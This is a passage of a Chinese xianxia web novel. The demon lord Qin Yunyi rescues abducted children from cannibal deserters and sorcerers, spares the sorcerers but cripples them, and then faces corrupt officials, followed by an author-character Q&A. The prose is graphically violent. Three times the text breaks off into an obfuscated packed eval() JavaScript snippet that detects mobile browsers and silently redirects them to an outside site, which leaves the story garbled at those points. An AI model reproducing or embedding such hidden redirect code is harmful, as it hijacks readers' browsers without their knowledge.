幺儿惊呼一声,只觉衣领后一股巨力传来,下一秒,她整个人就已被凌空提起,稳稳地落在秦云意身后的马背上。之后,秦云意将手腕一转,马鞭便如灵蛇般甩出,卷住了牛铁伸出的手臂,牛铁也借力飞跃,险险地落在幺儿身后,三人顿时冲出重围。 “放箭啊!放箭!”中山兵首领气急败坏地跳道。 下一秒,零星箭矢便破空而来,但秦云意只是用几个急转向便尽数避过,还没等兵痞反应过来,三人一马转眼间便已冲出数十丈远,将追兵远远地甩在身后。 “吓……吓死我了……吓死我了……” 幺儿和牛铁惊魂未定,二人死死抱住前面人的腰背,不敢放手,只是随着距离变远,那幺儿见声音不见,便回头望去,只见那些追兵不知何时竟停了下来,只是在原地呼喝叫骂,却无一人真正追出坳口。 “这是……” 幺儿眯起眼睛,之后,她看见最中间的黑袍巫师嘴角缓缓勾起,竟露出了一个诡异的笑容,那笑容里没有气急败坏,也没有计划被打乱的恼怒,反而……像是计划得逞般的,一股邪异的笑容。 幺儿打了个寒颤,连忙转回头,不敢再看了。 秦云意也察觉到了身后的异样,他勒住马缰,眉头紧锁,在远离坳口的一处高坡上回首望去,果然,那些兵卒与黑袍人的身影已缩成模糊的小点,他们没有追击,没有喧嚣,整个黑死坳只有一种不祥的寂静。 不对!他脑内开始快速思考,为什么今天的营救计划这么顺利?要知道,那些巫祭手段诡异,修为不浅,倘若是真想留下他们,绝不止于此,他们现在似乎……在放任他们离开? “恩公?”牛铁见秦云意勒马不前,忍不住低声唤道,“发生什么事了,恩公?” 牛铁的声音将秦云意唤了回来。 “没什么……二位,抱稳。” 秦云意压下心中困惑,毕竟眼下最重要的还是救人,将人送回乡镇。于是,他调转马头,朝着清水乡方向疾驰而去。 回到乡口时,天色已完全暗下,转移的乡民大多也已回来,正围着先前被救回的乡民等人,哭声、安慰声、怒骂声混成一片,好不容易安静下来,之后,他们见秦云意带着幺儿和牛铁回来,人群又是一阵骚动,那两人的家人扑上来抱住几位,泣不成声。 “多些,多谢秦郎君!”几家人连忙跪下,头重重地磕在地上,差点要磕出血,但立马被秦云意扶了起来。 “小事而已,几位……” 秦云意见乡民团聚,正想缓口气,梳理一下刚才的情况,可就在这时,一道急切的传音突然刺入他脑海: “螭君!不好了!” 是豺狼急切的声音。 “方才,我看见黑死坳深处又出变故,那群黑袍杂碎……他们不知从哪里又弄来了六个孩子!全是七八岁的童男童女,被捆得结实,正往一个矿洞里押!” 秦云意瞳孔瞬间收缩成一条竖线。 “还有……还有……”豺狼的声音因愤怒而颤抖,“那些胡兵……他们在吃人!我亲眼看见,他们把,他们把之前杀死乡民的尸体……拖到火堆旁,割肉烤食!就在矿洞外面!那几个黑袍畜生非但不阻止,还在……还在笑!” 吃人?! 秦云意只觉得一股怒气冲上头顶,眼前甚至黑了一瞬,他扶住身旁的老槐树,深呼吸了几下,这才勉强压下刚那几乎要破体而出的杀意和暴怒。 “螭君!现在怎么办?“刚那些孩子被推进矿洞了,洞口还有一些特殊的黄符!我们几个不敢靠近,因为那符力对我们压制太大,但,但我们听见,洞里有孩子在哭,还有那些畜生磨刀烧水的声音——他们恐怕马上又要动手!” 23. 抉择 不顾身后乡老的惊呼和反对,秦云意再次追入黑死坳深处,他咬着牙,一刻都没有停歇地飞奔而去,那豺狼的传讯愈发急人,说是这群溃兵去往了山坳底的矿洞,正把孩童们捆的严严实实,还架起了锅,烧好了水…… 该死!秦云意咬紧牙关,心中的恨迫使他几乎要将后槽牙咬碎。他调转法力,在树林中来回翻越,不多时,便来到了豺狼口中的矿洞所在地,这矿洞位于黑死坳最深处,背靠陡峭崖壁,入口被蔓藤半掩,还露出几张画满红色符文的符纸。 秦云意刚掠至洞口三丈外,结果那符文就像是知道了什么似的,瞬间发出骇人的亮光,一股强烈的推力随之袭来,狠狠地将秦云意推了出去,多亏后者早有准备,身形向空中翻去,卸去大半力道,一圈之后,他这才稳稳地降下,如一片落叶般飘然落地。 “哼!难怪豺狼等人都不敢靠近……这符箓,分明不是防人,而是专门防备妖邪的。”秦云意心想。 还未等秦云意想出解决的法子,洞内就已经传来了孩子的尖叫,更令人毛骨悚然的是,那些兵痞们已经开始磨刀了,金属刺耳的摩擦声、喊叫声,水咕噜咕噜的声音响彻山坳。 “快点!符水开了!我们先把那个小的肢解,把它的血先放了流进去,尸体放在台子上!”一个兵痞兴奋地叫嚷,他的嘴里好像还嚼着什么,想必是已死亡的乡民们的尸体。 “急什么!道爷说了,时辰未到!哪怕想要得那‘童子心头血’,我们也得等道爷们施法完毕!”另一个声音呵斥着他。 “嘿嘿,我就是有点着急,您别见外,别见外……” 秦云意握紧拳头,脸上青筋骤起,他再也顾不得那洞口黄符的威胁,而是把力量凝聚成一点,然后轰然爆发,如毒龙出洞,直刺洞口符箓屏障的核心。 两股力量轰然对撞,红色与黑色的妖力如同利剑般斩向矿洞屏障,然而,那几张黄符再次爆发出刺目的金光,一股刚猛、灼热的力量像锁链般缠绕而前,竟产生一股诡异的吸力,将那钻头般的妖力回旋、分裂成多个,开始反过来吞噬秦云意的妖力。 秦云意闷哼一声,感觉自身的力量正如开闸放水般外泄,但他不惊反狠,不但没有收回妖力,他反而更加疯狂地催动这股力量,紧接着,更多、更精纯的妖力开始源源不断灌注进那道黑色气劲中。 他在赌,赌这符箓的承载有极限。 “给我——开!” 随着他一声暴喝,那符箓血光剧烈闪烁,逐个逐个发出不堪重负的“嘎吱”声,终于在噗嗤一声后彻底裂开,那黑色妖力硬生生将屏障撕开了一道大口,将它撕的粉碎……但几乎同时,那符箓的反噬之力也达到顶峰,耀眼的金光混杂着血色,化作一股更狂暴的推力,狠狠推向秦云意,这次的力道之快,使得他身体竟直直撞在后面的岩壁上,连口鼻都迸出血来。 “人类的身体,真是……” 秦云意撑着从岩壁旁站起,其实,如果他直接化为蛇类真身攻击,倒也不会受这么严重的限制,只是这人的身体,终究和妖不一样啊…… 哗啦、哗啦…… 黄色的符咒在空中翻飞,最后悄无声息地降落在地上,滋啦滋啦的,慢慢化成了灰烬,那洞内也因为屏障的破坏震了又震,石块滚落,这无非都象征着一个事情: 屏障,终于破了! 随着屏障的崩裂,洞内也随即传来惊怒交加的厉喝,脚步声与兵器摩擦声迅速逼近,那一些满脸横肉的胡人兵痞和那三个黑袍巫祭全都冲了出来,但在看到洞口符箓尽毁,以及看见那正倚在岩壁边、口鼻淌血、眼神冰冷的秦云意,他们先是一愣,随即狞笑起来。 “xx的!又是你这不知死活的家伙!方才让你带着人质跑了,结果现在还敢来送死?怎么,嫌老子之前吃的人不够多,还想把自己也送上烤架?”带着刀疤的胡人首领认出了秦云意,他猖狂地笑着,手中还挥舞着带血的道人。 “哼,贼人……”秦云意冷笑一声。 “……你说什么?!要不是没接到动手的命令,看老子待会不把你给千刀万剐!” 胡人首领暴怒道,两人剑拔弩张,只不过,跟在他三个黑袍人,却把目光全都落在秦云意身上——这人不像是凡人,而刚才触发黄符的反震也证明了这一点。但……这家伙身上气息古怪,似妖又非妖,似人又非人,他究竟是什么东西? “你是何人?竟敢坏我主上大事!你可知道后果?” 为首的黑袍人低吼几声。 秦云意没有理他。 “放人。”他站直身体,强压怒火说道。 “放人?”兵痞头目哈哈大笑,像是听到了什么天大的笑话一样,“小子,你自身难保,还想救人?来人呐,把那个最小的崽子带出来!” 一个兵痞应声道,之后他从洞里拖出一个大约只有五六岁的小男孩,这孩子哭得声音都哑了,小脸脏污,眼睛肿得只剩一条缝,被粗绳捆得如同待宰的羔羊。 兵痞头目一把揪住孩子的头发,像拎小鸡一样将他提起,在那孩子惊恐的尖叫声中,他将一把雪亮的匕首架在了男孩脖子上。 “小子,你刚才不是说要救人吗?来啊!动手啊!看看是你的动作快,还是老子的刀快!” 兵痞头目舔了舔嘴唇,此时的他满眼疯狂,竟直接把刀刃微微下压,一道细细的血线立刻出现在孩子颈间,那孩子疼得浑身颤抖,此刻却连哭喊的力气都快没了, “来啊!大英豪,你不是想逞威风吗?怎么不过来?噢……我好像知道了,你好像怕这些黄纸?嘿嘿,怎么样?道爷们的手段厉害吧?有本事,你现在就冲进来,用你的能力砍掉我的脖子啊?” 兵痞首领得意洋洋地晃着手中的匕首,刀刃在火光下闪着寒光,紧紧贴在那幼童脆弱的脖颈上。另外两个兵痞也各自从洞里拖出一个孩子,同样以刀挟持,而那三个黑袍巫祭则呈三角之势围住了秦云意,手中符文隐现,显然随时准备出手。 秦云意站在原地,没有愤怒,没有恐惧,甚至连之前的杀意都似乎收敛了起来,他什么都没做,只是抬起头,嘴唇一弯,笑了笑。 “你个xxx,你笑什么?”兵痞首领色厉内荏地吼道。 秦云意没有回答他,他只是将两根手指放入口中,深吸一口气,然后,一声极具穿透力的口哨声响起。 “嘘!出来吧!各位!” 哨音未落,一声狼嚎回应响起,紧接着,一道迅疾如电的灰色身影从山上狂奔而下,那兵痞首领只觉一股腥风扑面,还没来得及回头,豺狼那血盆大口就已经狠狠咬住了他右臂肩胛。 “咔嚓!”真是恐怖的骨骼碎裂声。 “啊——!!!” 一声凄厉的惨叫随之袭来,那首领拿着的匕首应声落地,孩子也从他手上跌落下来。 豺狼见状,只是猛力一甩,那兵痞首领便如同飞饼般被甩飞出去,一把重重撞在矿洞的岩壁上,又滑落在地,昏迷不动了。 这一切只发生在电光石火之间,从秦云意是哨音响起到兵痞首领暂时失去意识,不过两三个呼吸罢了。 另外两个挟持孩子的兵痞完全吓傻了,正呆立当场。那三个黑袍巫祭更是又惊又怒,说着就要催动法术攻向豺狼和秦云意。 但,已经太迟了。 秦云意抬起手,向前指了指三位黑袍道人所在的方向,紧接着,那山上便突然爆发出强烈的呼喝声。白山的妖怪几乎全都来了,那些魑魅魍魉等妖兽纷纷动用了自己的能力,尽管它们有的并不擅长攻击,但所有妖都熟习自己的攻击方式,像那些小妖,小巧的身影在人群中穿梭,就专挑兵痞的脚踝、手腕等脆弱处下口,虽不致命,却让他们痛不欲生,剩下那些体型庞大的妖怪,则纷纷撞进惊慌失措的兵痞中间,所到之处只听见一片筋断骨折的闷响和惨叫声。 “救命啊!救命啊!妖怪!全都是妖怪!” 剩余的兵痞们哪里见到过这番场景,他们丢下兵器,连滚带爬,哭爹喊娘地想要四散逃命,可都被妖鬼们抓住了,有一些爱玩的小妖甚至骑在了他们背上,揪着后者辫子,用自己的棍棒等物敲着他们脑袋。 那三个黑袍巫祭见此等情形,连忙作成了阵法,试图负隅顽抗一番,那为首的黑袍人带头吟唱,三人迅速掐诀,黑气与血符交织,一个散发着恐怖吸力的血色漩涡便开始形成,直冲秦云意前来。 可就在这邪阵将成未成的刹那,一直沉默的秦云意终于动了,他既没有后退,也没有防御,而是直直迎着那血色漩涡,向前踏出了一步。 之后,他周身空气骤然扭曲,身形也在众人惊骇的目光中拉长、膨胀,不见了踪迹,而取而代之的,则是一条庞大到令人窒息的黑红色巨蛇,它背上生着两翼,片片鳞甲闪烁着寒光,那一双竖瞳大如灯笼,红光璀璨,此刻正冰冷无情地俯视着下方巫祭。 “化……化……化……化……化形真身?!”为首巫祭吓得魂飞魄散,声音都结巴了,甚至还变了调。 “你不是普通大妖!你是……你……” 他的话还没能说完,那只巨大的蛇首便以不可思议的速度,瞬移到了两名并排站立的巫祭面前,然后…… 咔嚓…… 骨骼的脆响。 这巨蛇将两名巫祭咬在嘴中,随后,它头颅猛地一甩,竟生生折断了后者们的脊柱,那两名巫祭甚至来不及发出惨叫,就只觉一股寒冷的力量从脊椎瞬间蔓延全身,待再降落在地上时,整个人如同被抽掉了所有力气般,软软跪倒在地,昏迷过去。 周围全都是一片伤筋动骨的惨状,若是让那群小孩看见了,恐怕不死也要落得癔症,不过好在,在豺狼出现的那一刻,秦云意就已经偷偷动用妖力,将这群小孩们催眠,让他们沉沉地睡去了。 当然,这里还有最后一个活动的人。 剩下的最后一名巫祭,正是那为首者,他眼睁睁看着两名同伴在瞬息间被叼起,废了修为,竟吓得肝胆俱裂,双腿一软,也瘫倒在地,连逃跑的力气都没有了。 黑红色的光芒再次闪耀,之后,巨蛇身形重新收缩、变化,重新化作了秦云意的人类模样,他依旧一袭黑袍,纤尘不染,仿佛刚才那暴力的一幕只是幻觉一般。他缓缓走到那瘫软在地、抖如筛糠的巫祭面前,蹲下身子,玩味似地用蛇瞳注视着他。 “不……不……你,你竟然……” 秦云意不多言,只是缓缓伸出右手,五指张开,轻轻按在了巫祭那张因极度恐惧而扭曲变形的脸上,正要收紧。 “等等!”那巫祭突然尖叫道。 “你不能杀我!你不能杀我!这是天道,妖怪是不能伤人的,若是你杀了我,你们白山的妖族——全都会被道士伏诛!” 语毕,秦云意手指一顿。 “你……你当我们不知道你是谁?螭厌!白山的山君!上百年的化形蛇妖!你……你以为自己杀人是不会看见的吗?真人们早就盯上你了!今日你若敢杀我们三人,明……明日他们就有理由带着法器杀上白山!杀了我们,就相当于对所有道士宣战!”巫祭见状,声音竟更加尖锐了。 “先前我们放出来那妖兽窫窳,其实……其实目的就是为了试探你底细,如今我们只是没有什么“理由”罢了,若你真的敢杀人,到时候,你白山的那些伙伴——那头豺狼,那只石怪,还有那群小妖,所有的都会被扒皮抽筋,炼成法器!就算你保得住一个,那保得住所有,保得住全座山吗?!”他盯着秦云意。 秦云意的手指停在巫祭脸上,其实,他只需再加一分力,这颅骨便会应声而碎,随后就是脑浆迸裂,可是…… 他又想起了那个梦。 在梦中,道士们华服高冠,谈笑风生,脚下却是自己同族支离破碎的尸骸……如果他今日在此杀了这三个爪牙,那是否就等于……自己亲手打开了那场噩梦的闸门?是否就等于自己向苍天正道宣告:看,这里有一只嗜杀成性,屠戮修士的妖魔,道士们,还不快来降妖除魔?! 若真的是这样,届时,那些暗中觊觎妖族内丹的势力,便有了最堂而皇之的借口,他们就会如梦中那般场景结成阵势,手持法器,踏入他守护了三百年的山林。之后,他会亲眼见证自己的同伴被锁链缚住,投入熊熊烈火的丹炉……那些鲜活的、吵闹的、依赖着他的生命,都将因为自己一时的选择,在之后陷入血与火的炼狱。 ——那场梦,就会是这个预兆吗? 秦云意缓缓转过头,看向身后,此地除了最熟悉的一些伙伴,在那远处山林阴影里也藏着许多气息——它们都是接到讯息赶来的其他伙伴,有些甚至修为低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153448|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微,连完整的形态都化不出来,可此刻他们却依旧选择现身,与他并肩站在一起。 “螭君,无论你作何选择,是杀是放,是战是走……我等,绝无二话。”豺狼在一旁静静地说道。 “是的,都依您。”众妖也纷纷附和。 …… 三百年了。 秦云意闭上眼睛。 三百年的春花秋月,夏雨冬雪,这群同伴,他见证了它们生老病死,它们也见证了他化形成人……要知道,他们可是家人啊!故若他今日尚且可以为了心中的“道义”,为了那些无辜的人类孩童选择冒险,选择对抗,他甚至还可以在盛怒之下,不顾自身安危,去屠戮修士。 可……他能为了自己的“道义”和“怒火”,将整个白山,将所有这些家人们的安危,全部都拖入万劫不复的深渊吗? 秦云意紧握剩余的拳头,他死死地瞪着巫祭的脸,眼神中充满怒火。 巫祭见他迟疑,总算送了口气,然后继续加码地开始说道: “你……你放我们走,今日之事就此揭过,我们会去回报真人,说你不过是个普通散妖,不值一提,你可以继续做你的山君,我们……井水不犯河水。” 他顿了顿,眼中闪过一丝狡猾。 “至于这些孩子……我们也知道错了,我们也保证,自己和手下人绝不再碰曲阳地界一人一卒,你……你觉得如何?” 保证?呵!秦云意心中鄙夷一声,要知道,这些邪修的“保证”,都算不上什么可靠。 可若不答应…… 他把目光扫过地上哀嚎的兵痞,和三个黑袍人,又看了一眼周围瑟瑟发抖,正在昏迷的孩子们…… 若真的大开杀戒杀了他们,以绝后患的话,之后必将引起更大风波,还很可能立刻引来更厉害的正道修士,就像之前的青袍道人等人…… 可若自己不杀,难道还把他们交给官府? 秦云意脑海中再次闪过蓝主簿、郑县尉那两张脸,闪过王长史冷漠的眼神,闪过官场上那些冠冕堂皇下的龌龊…… 难道要把这些恶徒交给他们?他们当真会依法严惩?还是看在“主上”的面子上,或者收了贿赂,大事化小,甚至……暗中放掉。他几乎可以预见,若真自己把他们交给官府,这些吃人的恶魔,很可能过几天就会“越狱”或“病逝”,然后换个地方,继续作恶,甚至变本加厉! ……究竟,该怎么办? 巫祭盯着秦云意,眼中是恐惧与疲惫,却也有一丝赌徒般的精明——没错,他赌对了,他能清晰感觉到此刻那只按在自己脸上的手,指尖冰冷,但此时却在细微地颤抖,他也甚至能感觉到秦云意胸膛中的杀意正嘶吼着翻滚、咆哮,渴望着要将自己彻底焚烧殆尽,可他身上的另一股力量,它又死死地拖拽着他——那是责任,是对三百年来所建立起的一切的珍视,是对无数白山同伴们的不忍…… 短时间内,周围的时间仿佛都凝固了,在此地,山风呜咽,远处缓缓传来官马前进的声音——那是之前逃脱的乡民去了镇上报案,如今,他们也应该快到了。 …… 最终,巫祭终于感觉到掐在他脸上的那只手,那只冰冷如铁般的手,正极其缓慢地,开始从他的脸上松开了。 秦云意没有说话。 “谢,谢螭……螭君,修行不易,你也明白,如今……你……你我都是求道之人,都有自己的道要走,你是妖,何必为了几个凡人……”巫祭见他闭目不语,以为他动摇了,于是谄媚地笑道。 “闭嘴!”秦云意睁开眼睛。 “就你们这种垃圾,也配称‘求道’?” 之后,秦云意伸出手,在巫祭震惊的目光中,他扣住了后者的后颈,抓住了对方颈椎的骨节。 “我不杀你,不是因为怕你们这群道士,而是因为……” 他五指猛地用力,眼中闪过一丝痛楚与决绝。 “而是因为,我的‘道’里,尚有需要守护的东西。它们的分量,重过对你这种杂碎行使正义的快感。” 咔嚓……咔嚓……咔嚓…… “啊——!!!” 巫祭发出几声惨叫,他能感觉到,自己的修为正在随着脊椎的碎裂而飞速流失,法力也开始崩溃,直到最后,它灰飞烟灭,彻底地消失殆尽了。 惨叫声在山坳中回荡。 “今日废你修为,碎你道基,从此往后,你与凡人无异——不,比凡人还不如,你会日夜承受经脉寸断之苦,余生都将在床上度过。之后,尔等道场若动我山中一人,我便废你十人修为,若伤我山中一妖,我便灭你满门道统。要战,我奉陪到底!” 秦云意松开手,看着地上像死鱼一样只剩半口气的巫祭,他冷冷地开口。 做完这一切,秦云意再次施展妖力,他抬起双手,从掌心处涌出暖流,这次的他的目的只有一个——遗忘。这妖力顺着众人,无论是兵痞、巫祭还是儿童,他们眼中的惊恐都逐渐被茫然取代。 之后,他们都会忘记这一切,忘记周围大大小小的妖怪,忘记自己重伤的来源,只会记得他——秦云意。是他依靠山体的震落,依靠从天而降的山石,才将这群家伙治理的服服帖帖。 他成了唯一的见证者。 秦云意低下头,走到一旁,从一具兵痞尸体的衣襟上扯下一块粗布,慢而用力地擦拭着每一根手指。从指尖到指缝,又再到掌心,动作细致而仔细,待擦净后,他将布条随手丢到一旁,看着它在妖力的作用下迅速卷曲、焦黑,最终化为灰尘,消失不见。 “所有妖怪,立刻回山,今日之后,加强戒备。”秦云意转过身,对众妖说道。 “那这三个……”豺狼点了点头,但在看见这几个巫祭时,目光还是迟疑了一下。 “留他们一条狗命,让他们活着,带上今天的教训,也借此让那些道士们知道,我等是不好惹的。” 他顿了顿,随即看向那瘫软的,昏迷的巫祭,眼中终于沉静了下来。 “走。” 一个字简单落下,那众妖再无迟疑,接着便如同潮水般退入山林阴影,片刻间消失得无影无踪。 …… 坳地重归寂静了,而远处,从清水乡方向传来的官道上的马蹄声,则越来越响,越来越近…… 24. 与秦云意的问答,第一话[番外] (其中拾为作者,秦为秦云意) 拾:各位,好久不见,今天瞧见我们把谁拉来了?当↑当↓当→当↓,那便是秦乐,秦云意先生! 秦:各位好。 拾:哎呀,说到这,其实,我们打算每写完23章,就浅浅做一个角色问答与作者解释环节,其中的内容就大概跟这前23章的章节有关,所以,那就让我们开始吧! 秦:???????? 拾:第一个,其实最开始我在写你的时候,本来打算给你安排上一个玩世不恭的、跳脱的性格特征,结果写完前几章……哎呀,不对,好像把你的格局拉的有些严肃了,欢乐不起来一点,但是为了保持水准,之后的章节都只能这么写了…… 秦:或许我们可以在这里欢乐一下。不过你说的很对,确实有点严肃……过头了,搞的我像是什么很冷淡的人一样。 拾:所以……要不之后有空,大改一下吧(流汗) 秦:并不一定,其实你之后就会写到这种性格的——我说对么? 拾:什么?难道……难道你偷看剧本了? 秦:按理说来,“我”本身就是一个设定好的角色,虽然你现在是在跟前23章的我对话,不过这不代表“我”不知道这篇故事的结局与流程,更何况你早就想好了大概的流程,现在只是为了落实和精进而已。 拾:啊呀……那你喜欢你的结局吗? 秦:我并不在意自己最后是什么样的结局,我更在意在这个故事中我的想法,和我的情感。 拾:那么,你的情感是怎样的呢? 秦:我对人间最初怀着敬畏与向往,可结果当自己真走入其中是,才发觉这里处处是污秽——贪吏敲骨吸髓,豪强杀人越货,权贵草菅人命,强盗劫掠横行,那些穷苦百姓没有话语权,或者说他们被强行捂住了嘴。总之,他们就这么被迫在夹缝里喘息,眼睁睁地看着自己,看着周围人一个又一个的哭声淹没在历史的车轮之中…… 秦:所以我渴望改变这一切,因为我有一颗“道”心,但是说到最后,个人的力量终究还是螂臂挡车,剩下的我就不多说了,唉。 拾:那么,在你心中,何又为道义? 秦:将行正事,无愧于心,即是道义。 拾:说到这里,你可能也明白了,践行“正义”有的时候是一件很难的事情。 秦:是的……它,太难。 秦:那么对你而言,你有什么遗憾吗? 拾:在你进行决策的时候,我也会跟着痛苦、纠结、思考、揣摩,怎么说呢,我很担心自己无法做到将你的性格、人生经历完完整整地写出来,将这个文章打造成一种彻头彻尾的悲剧,其中还有用词这一方面,剧情这一方面。 拾:就比如刚刚的第二十三章,关于你的选择,连我也犹豫了很久,我一直在想,你究竟是选择杀了这些人,还是不杀这些人呢?因为,如果你杀了他们,那那群家伙可能在之后就会有充分的理由去杀死你的同伴了,但是如果你不杀他们的话,那么你可能会感到心中有所亏欠,你的实力本就如此,为什么在这个情况下又开始仁慈了,不去动手呢?所以关于这个章节内容我一直在改,一直在纠结,因为这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不久之后,县衙的援兵终于赶到了。或许是“劫掠妇孺”四个字触动了徐县丞的某根神经,又或许是那位王长史刚走,蓝郑这二位大官需要表现,所以今日,郑县尉竟亲自率领上五十余名县兵来到了黑死坳,来得甚至比秦云意预想的速度还要快。 “秦……秦先生?” 郑县尉看到从山坡上走下的秦云意,显然吃了个大惊。他已知秦云意卸职,但他却没想到这家伙会在这里,并且以这种方式出现。 “郑县尉,匪首及部分从犯已被我等制伏,其中还另有三人黑袍邪教徒,只是洞内尚有受害孩童,目前仍需妥善医治……”秦云意缓缓开口。 “制伏?就你一个人?开什么玩笑。” 郑县尉明显不相信秦云意的说辞,他紧握着刀,神色严肃,生怕眼前的这家伙就是浅藏不露的其中主犯之一,但秦云意只是摇摇头,随后,他将手指指向山上。 “那是……” 郑县尉定睛看去,只见那山头悬崖峭壁处,不知为何出现了大面积的山石垮塌,大块大块的石头砸在矿洞周围,哪怕是现在,尘土也还没散尽,几个兵卒尝试着靠近检查一番,结果又被滚落的碎石逼退。 “此乃天意而已,天要收它们,我只是侥幸过来看见了,顺带想要救一下人。” “就……就靠这山崩?”郑县尉语气里满是不信,他扭头看向四周的兵痞无赖。 “那这些胡人兵痞……” “被砸的。”秦云意不耐烦地截断他的话,“山崩时他们在洞口,跑不及,活该他们被砸。” 郑县尉盯着他看了半晌,又看向那些瘫在地上哀嚎的兵痞——确实,断腿的、折臂的,几乎所有的伤处都带着砸伤淤痕,甚至连那三个黑袍人也蜷在乱石堆旁,像滑溜的鱼一样歪歪扭扭,不知死活。 郑县尉无话可说。 “秦先生,您可真是,好运气呐……”郑县尉最终扯了扯嘴角,也不知他究竟信没信秦云意的话。 “您竟能在这等险地,以一个白身的身份全身而退,看着山石伤了这群兵痞,顺带还救了人——” “洞里还有孩子,郑县尉,为了安全着想,你还是赶紧去派人吧。”秦云意再次打断了他的话。 听完秦云意讲话,郑县尉便指挥兵卒进了洞,只不过,当他们看到洞内那口大锅,和其中正煮着的乡民尸骨时,连见惯场面、身为武官的他也脸色发青,表情极为难看。其中有还几个好奇心旺盛的士兵往前看了一眼,下一秒就当场吐了出来。 “畜生……真xx是畜生……”郑县尉随口骂了一句,之后他定了定神,连忙指挥手下兵卒收押地上溃兵,清理现场,救治伤者,顺带写封信件,用于报告县丞。 “秦先生,你来的早,这些溃兵……还有那三个黑袍人,他们究竟什么来路?”郑县尉走到秦云意身边,压低声音询问称。 “溃兵是真,趁乱劫掠,罪大恶极,不过至于那黑袍人……似通邪术,妄图以孩童精血为引,所图非小。郑县尉,此案非同寻常,你可务必将这些凶徒严加看管,详加审讯,深挖其背后主使及同党,可别草草就抓几个喽啰结案。” 闻言,郑县尉眼皮动了动,他当然知道此案重大,但秦云意刚刚所说的“邪术”、“主使”这些字眼……啧,对于他而言,这可真是个麻烦,还是个超级大的麻烦——尤其是在如今燕赵之事的敏感时期。 “秦先生放心,本官定当依法严办!” 这郑县尉他嘴上说得斩钉截铁,心中却已在思量如何向上禀报,如何撇清干系,甚至……如何从中牟利了。毕竟这些溃兵身上,假如往上报了,或许还能榨出点油水? 秦云意将他的神色看在眼里,心中鄙夷,却不再多言,随后,他走到那几个被救出的孩子身边,蹲下身子,看着他们空洞的眼睛,然后把声音放得极轻: “没事了,坏人被抓起来了,小娃们,回家吧。” “官爷……我的爷爷,之前把我们抓来这时,他被他们……被他们吃了!我看见了……他们把他……扔进锅里……” 一个小孩突然抱紧他的衣角,她语无伦次,浑身颤抖地哭道。 听到孩童此话,秦云意浑身一僵,他缓缓闭上眼,复又睁开,轻轻拍了拍孩童的手背。 “我知道,不管如何,我会让他们……付出代价。”他说。 总之,郑县尉在一旁听见此话,眉头皱得更紧了。 …… 一段时辰过后,现场终于清理完毕,那些大大小小的俘虏一并被押上,将送往县衙审判,其中,郑县尉还好心邀请秦云意一同骑马回城,但被秦云意一口回绝了。 “不必了,我还有些事要处理。” 他说完便转身走向山坳深处。 郑县尉看着他的背影,眼神复杂——这个秦云意,到底是什么底细?真是越来越让人看不透了,这家伙明明已是一介白身,却不仅拥有匪夷所思的身手,更似乎……还自愿牵扯到了某些事情里。 “回城!”他不再多想,下令收队。 …… 清水乡,陈宅。 清水乡的田里正,此时不知为何竟跟陈宅的主人陈泰待在一块,后者瘫在太师椅里,抽着大烟,不管不顾周围,尤其是田里正絮絮叨叨的任何言论。 “老爷,您倒是拿个主意啊!县衙那边……县衙那边马上要……”田主里正急得团团转。 “闭嘴!”陈泰猛地吼了一声,之后,他的声音反而抖起来了。 “我……我能有什么主意?我以为那三个道士……那三个道士说能包治百病,我……我才信了他的鬼话……” “本来先前的清水乡账单就有问题,后来被我们用计瞒了下去,结果这下好了,如今又出了这等“童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153450|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子心肝血”的事……我当初就不该听信你的话,说什么有助于延年益寿,唉!现在还不如给我坦白了,除了这‘清官’身份,给我抓上去算了!”田里正懊悔不已。 “田德,你疯了吗,先前明明就是你自己拿捏不准,如今却还要赖在我身上?!你这个人就这个德行,什么墙头草,两边倒,你比又比不过杜绅,算计又算不过蓝主簿,你这一辈子活该倒霉死,你——” 笃、笃、笃……是脚步声。 陈泰把刚才骂人的话硬生生憋了回去,两人你看看我我看看你,都小心地蜷缩在墙角,不敢发出一点动静。 笃、笃、笃…… 这脚步声一来二去的,仿佛永不停歇,直踩得田里正心头发慌,他慌慌张张地四处看看,随后像是下了什么决心一样,不顾陈泰反对,竟直接从窗口钻了出去,跑到了附近的芦苇地里,妄图趁着夜色赶回家门。 笃、笃、笃,脚步声还在。 田里正只觉手心发汗,一口气冲回了自己的三房之中,可结果他刚到门口,一抬头,就看见秦云意早已经站在了那里,后者穿着一身旧布衣,表情淡漠,波澜不惊。 “啊,是……秦、秦先生……”田里正腿软得不听使唤。 秦云意走了过来,他先是扫了一圈周围环境,最后把目光落回在田里正脸上。 “为什么?”他问得很平静。 田里正嘴唇哆嗦着。 “不,我是,我……我是被蒙蔽的……因为陈泰还有,还有那道士说……” “我问你为什么?!”秦云意压着火吼道。 “你田德,祖上三代在清水乡,你本人虽不算大富大贵,可乡里乡亲,谁没受过你田家一点恩惠?春旱时你开仓借过粮,疫病时你请过郎中——我以为你至少还是个要脸的人!”他指着田里正鼻子骂道。 田里正张着嘴,一个字都说不出来。 秦云意往前一步,突然伸手揪住他的衣领,竟直接把他拎了起来。 